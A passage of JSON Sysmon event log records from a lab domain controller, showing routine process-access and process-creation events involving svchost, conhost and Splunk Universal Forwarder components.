C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.135\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4176-5F2D-0000-0010E1CD0800}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.135","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4176-5F2D-0000-0010E1CD0800}","TargetProcessId":"4712","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.275\r\nSourceProcessGUID: {90617006-4176-5F2D-0000-0010E1CD0800}\r\nSourceProcessId: 4712\r\nSourceThreadId: 3168\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.275","SourceProcessGUID":"{90617006-4176-5F2D-0000-0010E1CD0800}","SourceProcessId":"4712","SourceThreadId":"3168","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.934\r\nProcessGuid: {90617006-4176-5F2D-0000-0010B1CF0800}\r\nProcessId: 2444\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.934","ProcessGuid":"{90617006-4176-5F2D-0000-0010B1CF0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4176-5F2D-0000-0010B1CF0800}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4176-5F2D-0000-0010B1CF0800}","TargetProcessId":"2444","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program 